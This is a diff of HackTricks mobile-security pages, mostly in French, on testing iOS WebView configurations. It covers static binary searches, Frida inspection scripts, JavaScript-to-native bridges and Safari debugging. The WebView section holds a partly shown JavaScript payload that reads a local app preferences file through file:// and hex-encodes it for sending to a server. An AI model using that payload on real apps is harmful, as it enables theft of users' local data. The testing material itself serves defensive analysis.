* [GetUniversal.link](https://getuniversal.link/): Aide à simplifier le test et la gestion des liens universels de votre application et du fichier AASA. Il suffit d'entrer votre domaine pour vérifier l'intégrité du fichier AASA ou d'utiliser le tableau de bord personnalisé pour tester facilement le comportement des liens. Cet outil vous aide également à déterminer quand Apple indexera à nouveau votre fichier AASA.
|
||||
|
||||
## Références
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# iOS WebViews
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Le code de cette page a été extrait d'[ici](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Consultez la page pour plus de détails.
|
||||
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
||||
|
||||
|
||||
## Types de WebViews
|
||||
|
||||
Les WebViews sont utilisés dans les applications pour afficher du contenu web de manière interactive. Différents types de WebViews offrent différentes fonctionnalités et caractéristiques de sécurité pour les applications iOS. Voici un bref aperçu :
|
||||
Les WebViews sont utilisées dans les applications pour afficher du contenu web de manière interactive. Différents types de WebViews offrent différentes fonctionnalités et caractéristiques de sécurité pour les applications iOS. Voici un bref aperçu :
|
||||
|
||||
- **UIWebView**, qui n'est plus recommandé à partir d'iOS 12 en raison de son manque de prise en charge de la désactivation de **JavaScript**, le rendant susceptible aux injections de script et aux attaques de **Cross-Site Scripting (XSS)**.
|
||||
- **UIWebView**, qui n'est plus recommandé à partir d'iOS 12 en raison de son manque de support pour désactiver **JavaScript**, ce qui la rend susceptible à l'injection de scripts et aux attaques de **Cross-Site Scripting (XSS)**.
|
||||
|
||||
- **WKWebView** est l'option préférée pour incorporer du contenu web dans les applications, offrant un contrôle amélioré sur le contenu et des fonctionnalités de sécurité. **JavaScript** est activé par défaut, mais peut être désactivé si nécessaire. Il prend également en charge des fonctionnalités pour empêcher JavaScript d'ouvrir automatiquement des fenêtres et garantit que tout le contenu est chargé de manière sécurisée. De plus, l'architecture de **WKWebView** réduit au minimum le risque de corruption de mémoire affectant le processus principal de l'application.
|
||||
- **WKWebView** est l'option préférée pour intégrer du contenu web dans les applications, offrant un meilleur contrôle sur le contenu et les fonctionnalités de sécurité. **JavaScript** est activé par défaut, mais il peut être désactivé si nécessaire. Il prend également en charge des fonctionnalités pour empêcher JavaScript d'ouvrir automatiquement des fenêtres et garantit que tout le contenu est chargé de manière sécurisée. De plus, l'architecture de **WKWebView** minimise le risque de corruption de mémoire affectant le processus principal de l'application.
|
||||
|
||||
- **SFSafariViewController** offre une expérience de navigation web standardisée au sein des applications, reconnaissable par sa mise en page spécifique comprenant un champ d'adresse en lecture seule, des boutons de partage et de navigation, et un lien direct pour ouvrir le contenu dans Safari. Contrairement à **WKWebView**, **JavaScript** ne peut pas être désactivé dans **SFSafariViewController**, qui partage également des cookies et des données avec Safari, préservant la confidentialité de l'utilisateur depuis l'application. Il doit être affiché de manière prominente conformément aux directives de l'App Store.
|
||||
- **SFSafariViewController** offre une expérience de navigation web standardisée au sein des applications, reconnaissable par sa mise en page spécifique incluant un champ d'adresse en lecture seule, des boutons de partage et de navigation, et un lien direct pour ouvrir le contenu dans Safari. Contrairement à **WKWebView**, **JavaScript** ne peut pas être désactivé dans **SFSafariViewController**, qui partage également des cookies et des données avec Safari, préservant la vie privée de l'utilisateur vis-à-vis de l'application. Il doit être affiché de manière proéminente conformément aux directives de l'App Store.
|
||||
```javascript
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
|
@ -34,43 +35,43 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|||
config.preferences = preferences;
|
||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||
```
|
||||
## Résumé de l'Exploration de la Configuration des WebViews
|
||||
## WebViews Configuration Exploration Summary
|
||||
|
||||
### **Aperçu de l'Analyse Statique**
|
||||
### **Static Analysis Overview**
|
||||
|
||||
Dans le processus d'examen des configurations des **WebViews**, deux types principaux sont mis en avant : **UIWebView** et **WKWebView**. Pour identifier ces WebViews dans un binaire, des commandes sont utilisées pour rechercher des références de classes spécifiques et des méthodes d'initialisation.
|
||||
Dans le processus d'examen des configurations de **WebViews**, deux types principaux sont ciblés : **UIWebView** et **WKWebView**. Pour identifier ces WebViews dans un binaire, des commandes sont utilisées, recherchant des références de classe spécifiques et des méthodes d'initialisation.
|
||||
|
||||
- **Identification de UIWebView**
|
||||
- **UIWebView Identification**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
```
|
||||
Ce commande aide à localiser les instances de **UIWebView** en recherchant des chaînes de texte liées à celle-ci dans le binaire.
|
||||
Cette commande aide à localiser des instances de **UIWebView** en recherchant des chaînes de texte qui y sont liées dans le binaire.
|
||||
|
||||
- **Identification de WKWebView**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
```
|
||||
De même, pour **WKWebView**, cette commande recherche le binaire pour les chaînes de texte indicatives de son utilisation.
|
||||
De même, pour **WKWebView**, cette commande recherche dans le binaire des chaînes de texte indicatives de son utilisation.
|
||||
|
||||
De plus, pour trouver comment un **WKWebView** est initialisé, la commande suivante est exécutée, ciblant la signature de méthode liée à son initialisation :
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **Vérification de la configuration JavaScript**
|
||||
#### **Vérification de la Configuration JavaScript**
|
||||
|
||||
Pour **WKWebView**, il est souligné que la désactivation de JavaScript est une meilleure pratique sauf si nécessaire. Le binaire compilé est recherché pour confirmer que la propriété `javaScriptEnabled` est définie sur `false`, garantissant que JavaScript est désactivé:
|
||||
Pour **WKWebView**, il est souligné que désactiver JavaScript est une bonne pratique sauf si nécessaire. Le binaire compilé est recherché pour confirmer que la propriété `javaScriptEnabled` est définie sur `false`, garantissant que JavaScript est désactivé :
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **Vérification du contenu sécurisé uniquement**
|
||||
#### **Vérification du contenu uniquement sécurisé**
|
||||
|
||||
**WKWebView** offre la capacité d'identifier les problèmes de contenu mixte, contrairement à **UIWebView**. Cela est vérifié en utilisant la propriété `hasOnlySecureContent` pour garantir que toutes les ressources de la page sont chargées via des connexions sécurisées. La recherche dans le binaire compilé est effectuée comme suit :
|
||||
**WKWebView** offre la capacité d'identifier les problèmes de contenu mixte, contrairement à **UIWebView**. Cela est vérifié en utilisant la propriété `hasOnlySecureContent` pour s'assurer que toutes les ressources de la page sont chargées via des connexions sécurisées. La recherche dans le binaire compilé est effectuée comme suit :
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **Perspectives de l'analyse dynamique**
|
||||
### **Aperçus de l'analyse dynamique**
|
||||
|
||||
L'analyse dynamique implique d'inspecter le tas de mémoire pour les instances de WebView et leurs propriétés. Un script nommé `webviews_inspector.js` est utilisé à cette fin, ciblant les instances `UIWebView`, `WKWebView` et `SFSafariViewController`. Il enregistre des informations sur les instances trouvées, y compris les URL et les paramètres liés à JavaScript et au contenu sécurisé.
|
||||
L'analyse dynamique consiste à inspecter le tas pour les instances de WebView et leurs propriétés. Un script nommé `webviews_inspector.js` est utilisé à cet effet, ciblant les instances `UIWebView`, `WKWebView` et `SFSafariViewController`. Il enregistre des informations sur les instances trouvées, y compris les URL et les paramètres liés à JavaScript et au contenu sécurisé.
|
||||
|
||||
L'inspection du tas peut être effectuée en utilisant `ObjC.choose()` pour identifier les instances de WebView et vérifier les propriétés `javaScriptEnabled` et `hasonlysecurecontent`.
|
||||
|
||||
|
@ -125,24 +126,24 @@ Le script est exécuté avec :
|
|||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
```
|
||||
**Résultats clés**:
|
||||
**Résultats Clés**:
|
||||
- Les instances de WebViews sont localisées et inspectées avec succès.
|
||||
- L'activation de JavaScript et les paramètres de contenu sécurisé sont vérifiés.
|
||||
|
||||
Cette synthèse résume les étapes critiques et les commandes impliquées dans l'analyse des configurations de WebView à travers des approches statiques et dynamiques, en mettant l'accent sur les fonctionnalités de sécurité telles que l'activation de JavaScript et la détection de contenu mixte.
|
||||
Ce résumé encapsule les étapes et commandes critiques impliquées dans l'analyse des configurations de WebView à travers des approches statiques et dynamiques, en se concentrant sur des fonctionnalités de sécurité telles que l'activation de JavaScript et la détection de contenu mixte.
|
||||
|
||||
## Gestion des protocoles WebView
|
||||
## Gestion du Protocole WebView
|
||||
|
||||
La gestion du contenu dans les WebViews est un aspect critique, surtout lorsqu'il s'agit de différents protocoles tels que `http(s)://`, `file://` et `tel://`. Ces protocoles permettent le chargement de contenu à la fois distant et local dans les applications. Il est souligné que lors du chargement de contenu local, des précautions doivent être prises pour empêcher les utilisateurs d'influencer le nom ou le chemin du fichier et d'éditer le contenu lui-même.
|
||||
La gestion du contenu dans les WebViews est un aspect critique, surtout lorsqu'il s'agit de divers protocoles tels que `http(s)://`, `file://`, et `tel://`. Ces protocoles permettent le chargement de contenu à la fois distant et local au sein des applications. Il est souligné que lors du chargement de contenu local, des précautions doivent être prises pour empêcher les utilisateurs d'influencer le nom ou le chemin du fichier et de modifier le contenu lui-même.
|
||||
|
||||
Les **WebViews** offrent différentes méthodes de chargement de contenu. Pour **UIWebView**, désormais obsolète, des méthodes telles que `loadHTMLString:baseURL:` et `loadData:MIMEType:textEncodingName:baseURL:` sont utilisées. **WKWebView**, quant à lui, utilise `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` et `loadRequest:` pour le contenu web. Des méthodes telles que `pathForResource:ofType:`, `URLForResource:withExtension:` et `init(contentsOf:encoding:)` sont généralement utilisées pour charger des fichiers locaux. La méthode `loadFileURL:allowingReadAccessToURL:` est particulièrement notable pour sa capacité à charger une URL ou un répertoire spécifique dans la WebView, exposant potentiellement des données sensibles si un répertoire est spécifié.
|
||||
**WebViews** offrent différentes méthodes pour le chargement de contenu. Pour **UIWebView**, désormais obsolète, des méthodes telles que `loadHTMLString:baseURL:` et `loadData:MIMEType:textEncodingName:baseURL:` sont utilisées. **WKWebView**, en revanche, utilise `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, et `loadRequest:` pour le contenu web. Des méthodes telles que `pathForResource:ofType:`, `URLForResource:withExtension:`, et `init(contentsOf:encoding:)` sont généralement utilisées pour charger des fichiers locaux. La méthode `loadFileURL:allowingReadAccessToURL:` est particulièrement notable pour sa capacité à charger une URL ou un répertoire spécifique dans le WebView, exposant potentiellement des données sensibles si un répertoire est spécifié.
|
||||
|
||||
Pour trouver ces méthodes dans le code source ou le binaire compilé, des commandes comme celles-ci peuvent être utilisées:
|
||||
Pour trouver ces méthodes dans le code source ou le binaire compilé, des commandes comme les suivantes peuvent être utilisées :
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
En ce qui concerne **l'accès aux fichiers**, UIWebView le permet de manière universelle, tandis que WKWebView introduit les paramètres `allowFileAccessFromFileURLs` et `allowUniversalAccessFromFileURLs` pour gérer l'accès à partir d'URL de fichiers, avec les deux étant faux par défaut.
|
||||
Concernant **l'accès aux fichiers**, UIWebView le permet universellement, tandis que WKWebView introduit les paramètres `allowFileAccessFromFileURLs` et `allowUniversalAccessFromFileURLs` pour gérer l'accès à partir des URL de fichiers, les deux étant faux par défaut.
|
||||
|
||||
Un exemple de script Frida est fourni pour inspecter les configurations de **WKWebView** pour les paramètres de sécurité :
|
||||
```bash
|
||||
|
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
Enfin, un exemple de charge utile JavaScript visant à exfiltrer des fichiers locaux démontre le risque potentiel pour la sécurité associé à des WebViews mal configurés. Cette charge utile code les contenus des fichiers au format hexadécimal avant de les transmettre à un serveur, soulignant l'importance de mesures de sécurité strictes dans les implémentations de WebView.
|
||||
Enfin, un exemple de charge utile JavaScript visant à exfiltrer des fichiers locaux démontre le risque de sécurité potentiel associé à des WebViews mal configurés. Cette charge utile encode le contenu des fichiers au format hexadécimal avant de les transmettre à un serveur, soulignant l'importance de mesures de sécurité strictes dans les implémentations de WebView.
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
|
@ -185,24 +186,24 @@ xhr2.send(null);
|
|||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## Méthodes natives exposées via les WebViews
|
||||
## Méthodes natives exposées via WebViews
|
||||
|
||||
## Compréhension des interfaces natives des WebViews sur iOS
|
||||
## Comprendre les interfaces natives WebView dans iOS
|
||||
|
||||
À partir d'iOS 7, Apple a fourni des API pour **la communication entre JavaScript dans un WebView et les objets natifs** Swift ou Objective-C. Cette intégration est principalement facilitée par deux méthodes :
|
||||
Depuis iOS 7, Apple a fourni des API pour **la communication entre JavaScript dans un WebView et des** objets Swift ou Objective-C natifs. Cette intégration est principalement facilitée par deux méthodes :
|
||||
|
||||
- **JSContext** : Une fonction JavaScript est automatiquement créée lorsqu'un bloc Swift ou Objective-C est lié à un identifiant dans un `JSContext`. Cela permet une intégration et une communication transparentes entre JavaScript et le code natif.
|
||||
- **Protocole JSExport** : En héritant du protocole `JSExport`, les propriétés natives, les méthodes d'instance et les méthodes de classe peuvent être exposées à JavaScript. Cela signifie que tout changement apporté dans l'environnement JavaScript est reflété dans l'environnement natif, et vice versa. Cependant, il est essentiel de s'assurer que des données sensibles ne sont pas exposées involontairement par cette méthode.
|
||||
- **JSContext** : Une fonction JavaScript est automatiquement créée lorsqu'un bloc Swift ou Objective-C est lié à un identifiant dans un `JSContext`. Cela permet une intégration et une communication fluides entre JavaScript et le code natif.
|
||||
- **JSExport Protocol** : En héritant du protocole `JSExport`, les propriétés natives, les méthodes d'instance et les méthodes de classe peuvent être exposées à JavaScript. Cela signifie que tout changement effectué dans l'environnement JavaScript est reflété dans l'environnement natif, et vice versa. Cependant, il est essentiel de s'assurer que les données sensibles ne sont pas exposées involontairement par ce biais.
|
||||
|
||||
### Accès à `JSContext` en Objective-C
|
||||
### Accéder à `JSContext` en Objective-C
|
||||
|
||||
En Objective-C, le `JSContext` pour un `UIWebView` peut être récupéré avec la ligne de code suivante :
|
||||
```objc
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
### Communication avec `WKWebView`
|
||||
### Communication with `WKWebView`
|
||||
|
||||
Pour `WKWebView`, l'accès direct à `JSContext` n'est pas disponible. Au lieu de cela, la communication est réalisée via la fonction `postMessage`, permettant à JavaScript de communiquer avec l'application native. Les gestionnaires de ces messages sont configurés comme suit, permettant à JavaScript d'interagir de manière sécurisée avec l'application native :
|
||||
Pour `WKWebView`, l'accès direct à `JSContext` n'est pas disponible. Au lieu de cela, le passage de messages est utilisé via la fonction `postMessage`, permettant la communication entre JavaScript et le natif. Les gestionnaires pour ces messages sont configurés comme suit, permettant à JavaScript d'interagir avec l'application native de manière sécurisée :
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
|
@ -217,7 +218,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
|||
```
|
||||
### Interaction et Test
|
||||
|
||||
JavaScript peut interagir avec la couche native en définissant un gestionnaire de messages de script. Cela permet des opérations telles que l'invocation de fonctions natives à partir d'une page web :
|
||||
JavaScript peut interagir avec la couche native en définissant un gestionnaire de messages de script. Cela permet des opérations comme l'invocation de fonctions natives depuis une page web :
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
|
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
|||
// Alternative method for calling exposed JavaScript functions
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Pour capturer et manipuler le résultat d'un appel de fonction native, on peut remplacer la fonction de rappel dans le HTML :
|
||||
Pour capturer et manipuler le résultat d'un appel de fonction natif, on peut remplacer la fonction de rappel dans le HTML :
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
|
@ -239,7 +240,7 @@ alert(result);
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Le côté natif gère l'appel JavaScript comme indiqué dans la classe `JavaScriptBridgeMessageHandler`, où le résultat des opérations telles que la multiplication des nombres est traité et renvoyé à JavaScript pour affichage ou manipulation ultérieure :
|
||||
La partie native gère l'appel JavaScript comme indiqué dans la classe `JavaScriptBridgeMessageHandler`, où le résultat des opérations comme la multiplication de nombres est traité et renvoyé à JavaScript pour affichage ou manipulation supplémentaire :
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
// Handling "multiplyNumbers" operation
|
||||
|
@ -256,19 +257,18 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
|
||||
(Tutoriel basé sur celui de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
Pour déboguer efficacement le contenu web dans les WebViews iOS, une configuration spécifique impliquant les outils de développement de Safari est nécessaire, car les messages envoyés à `console.log()` ne s'affichent pas dans les journaux Xcode. Voici un guide simplifié, mettant en avant les étapes clés et les exigences :
|
||||
Pour déboguer efficacement le contenu web dans les webviews iOS, une configuration spécifique impliquant les outils de développement de Safari est nécessaire en raison du fait que les messages envoyés à `console.log()` ne s'affichent pas dans les journaux Xcode. Voici un guide simplifié, mettant en avant les étapes et exigences clés :
|
||||
|
||||
- **Préparation sur l'appareil iOS** : L'inspecteur Web de Safari doit être activé sur votre appareil iOS. Pour ce faire, allez dans **Réglages > Safari > Avancé**, et activez l'_Inspecteur Web_.
|
||||
- **Préparation sur l'appareil iOS** : L'inspecteur web de Safari doit être activé sur votre appareil iOS. Cela se fait en allant dans **Réglages > Safari > Avancé**, et en activant l' _Inspecteur Web_.
|
||||
|
||||
- **Préparation sur l'appareil macOS** : Sur votre machine de développement macOS, vous devez activer les outils de développement dans Safari. Lancez Safari, accédez à **Safari > Préférences > Avancé**, et sélectionnez l'option _Afficher le menu Développement_.
|
||||
|
||||
- **Connexion et Débogage** : Après avoir connecté votre appareil iOS à votre ordinateur macOS et lancé votre application, utilisez Safari sur votre appareil macOS pour sélectionner la WebView que vous souhaitez déboguer. Naviguez jusqu'à _Développer_ dans la barre de menu de Safari, survolez le nom de votre appareil iOS pour voir une liste des instances de WebView, et sélectionnez l'instance que vous souhaitez inspecter. Une nouvelle fenêtre de l'inspecteur Web de Safari s'ouvrira à cette fin.
|
||||
- **Connexion et débogage** : Après avoir connecté votre appareil iOS à votre ordinateur macOS et lancé votre application, utilisez Safari sur votre appareil macOS pour sélectionner la webview que vous souhaitez déboguer. Naviguez vers _Développement_ dans la barre de menu de Safari, survolez le nom de votre appareil iOS pour voir une liste des instances de webview, et sélectionnez l'instance que vous souhaitez inspecter. Une nouvelle fenêtre de l'inspecteur web de Safari s'ouvrira à cet effet.
|
||||
|
||||
Cependant, soyez conscient des limitations :
|
||||
|
||||
- Le débogage avec cette méthode nécessite un appareil macOS car il dépend de Safari.
|
||||
- Seules les WebViews dans les applications chargées sur votre appareil via Xcode sont éligibles pour le débogage. Les WebViews dans les applications installées via l'App Store ou Apple Configurator ne peuvent pas être déboguées de cette manière.
|
||||
|
||||
- Le débogage avec cette méthode nécessite un appareil macOS car il repose sur Safari.
|
||||
- Seules les webviews dans les applications chargées sur votre appareil via Xcode sont éligibles au débogage. Les webviews dans les applications installées via l'App Store ou Apple Configurator ne peuvent pas être déboguées de cette manière.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -276,16 +276,17 @@ Cependant, soyez conscient des limitations :
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,82 +1,83 @@
|
|||
# Applications Xamarin
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
